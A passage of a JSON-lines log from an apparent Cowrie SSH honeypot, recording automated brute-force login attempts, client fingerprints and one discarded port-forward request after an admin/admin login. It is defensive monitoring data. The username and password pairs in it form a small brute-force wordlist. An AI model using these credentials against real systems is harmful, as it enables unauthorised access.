2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:56:20.106084Z","src_ip":"91.92.40.176","session":"cd9174999b8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user1","message":"login attempt [user/user1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:56:20.352568Z","src_ip":"91.92.40.176","session":"cd9174999b8a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:56:21.436803Z","src_ip":"91.92.40.176","session":"cd9174999b8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.179.197.26","src_port":58044,"dst_ip":"159.203.135.109","dst_port":22,"session":"de5b2900da33","protocol":"ssh","message":"New connection: 31.179.197.26:58044 (159.203.135.109:22) [session: de5b2900da33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:56:35.685450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:56:35.689105Z","src_ip":"31.179.197.26","session":"de5b2900da33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:56:35.797588Z","src_ip":"31.179.197.26","session":"de5b2900da33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dms","password":"dms123","message":"login attempt [dms/dms123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:56:36.266159Z","src_ip":"31.179.197.26","session":"de5b2900da33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:56:37.377013Z","src_ip":"31.179.197.26","session":"de5b2900da33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.159.196","src_port":63018,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c49d4c5cf8e","protocol":"ssh","message":"New connection: 176.53.159.196:63018 (10.17.0.5:22) [session: 6c49d4c5cf8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:57:26.039239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:57:26.042854Z","src_ip":"176.53.159.196","session":"6c49d4c5cf8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:57:26.143987Z","src_ip":"176.53.159.196","session":"6c49d4c5cf8e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:57:26.438705Z","src_ip":"176.53.159.196","session":"6c49d4c5cf8e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:57:26.537400Z","session":"6c49d4c5cf8e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:57:26.635273Z","src_ip":"176.53.159.196","session":"6c49d4c5cf8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:57:26.736806Z","src_ip":"176.53.159.196","session":"6c49d4c5cf8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.1.75.59","src_port":51040,"dst_ip":"10.17.0.5","dst_port":22,"session":"1195411ca550","protocol":"ssh","message":"New connection: 198.1.75.59:51040 (10.17.0.5:22) [session: 1195411ca550]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:57:31.102119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:57:31.106145Z","src_ip":"198.1.75.59","session":"1195411ca550","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:57:31.188334Z","src_ip":"198.1.75.59","session":"1195411ca550","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XMR$Tr0ng@P@ss","message":"login attempt [root/XMR$Tr0ng@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:57:31.437176Z","src_ip":"198.1.75.59","session":"1195411ca550","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:57:33.378766Z","src_ip":"198.1.75.59","session":"1195411ca550","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.228.179.34","src_port":38696,"dst_ip":"159.203.135.109","dst_port":22,"session":"66f7b2ec12bd","protocol":"ssh","message":"New connection: 20.228.179.34:38696 (159.203.135.109:22) [session: 66f7b2ec12bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:57:58.069530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:57:58.073195Z","src_ip":"20.228.179.34","session":"66f7b2ec12bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:57:58.087413Z","src_ip":"20.228.179.34","session":"66f7b2ec12bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"blockchain","password":"Cr@zy#P@ss!W0rd44","message":"login attempt [blockchain/Cr@zy#P@ss!W0rd44] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:57:58.130676Z","src_ip":"20.228.179.34","session":"66f7b2ec12bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.214.154.50","src_port":50246,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba2183755a5d","protocol":"ssh","message":"New connection: 85.214.154.50:50246 (159.203.135.109:22) [session: ba2183755a5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:57:58.360687Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:57:58.362407Z","src_ip":"85.214.154.50","session":"ba2183755a5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:57:58.454013Z","src_ip":"85.214.154.50","session":"ba2183755a5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xt","password":"xt123","message":"login attempt [xt/xt123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:57:58.730431Z","src_ip":"85.214.154.50","session":"ba2183755a5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:57:59.146635Z","src_ip":"20.228.179.34","session":"66f7b2ec12bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:57:59.824251Z","src_ip":"85.214.154.50","session":"ba2183755a5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.179.197.26","src_port":50956,"dst_ip":"159.203.135.109","dst_port":22,"session":"249b863e100d","protocol":"ssh","message":"New connection: 31.179.197.26:50956 (159.203.135.109:22) [session: 249b863e100d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:58:08.157780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:58:08.161426Z","src_ip":"31.179.197.26","session":"249b863e100d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:58:08.274758Z","src_ip":"31.179.197.26","session":"249b863e100d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.3.195","src_port":46338,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e247bfbf7d3","protocol":"ssh","message":"New connection: 185.242.3.195:46338 (159.203.135.109:22) [session: 0e247bfbf7d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:58:08.714477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:58:08.717199Z","src_ip":"185.242.3.195","session":"0e247bfbf7d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"imac","password":"imac123","message":"login attempt [imac/imac123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:58:08.768523Z","src_ip":"31.179.197.26","session":"249b863e100d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:58:08.797873Z","src_ip":"185.242.3.195","session":"0e247bfbf7d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cindylee1","message":"login attempt [root/Cindylee1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:58:09.046952Z","src_ip":"185.242.3.195","session":"0e247bfbf7d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:58:09.885879Z","src_ip":"31.179.197.26","session":"249b863e100d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:58:10.130681Z","src_ip":"185.242.3.195","session":"0e247bfbf7d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.173.74","src_port":49526,"dst_ip":"159.203.135.109","dst_port":22,"session":"0116634f07da","protocol":"ssh","message":"New connection: 50.6.173.74:49526 (159.203.135.109:22) [session: 0116634f07da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:58:23.711107Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:58:23.714721Z","src_ip":"50.6.173.74","session":"0116634f07da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T13:58:23.740695Z","src_ip":"50.6.173.74","session":"0116634f07da","protocol":"ssh"}
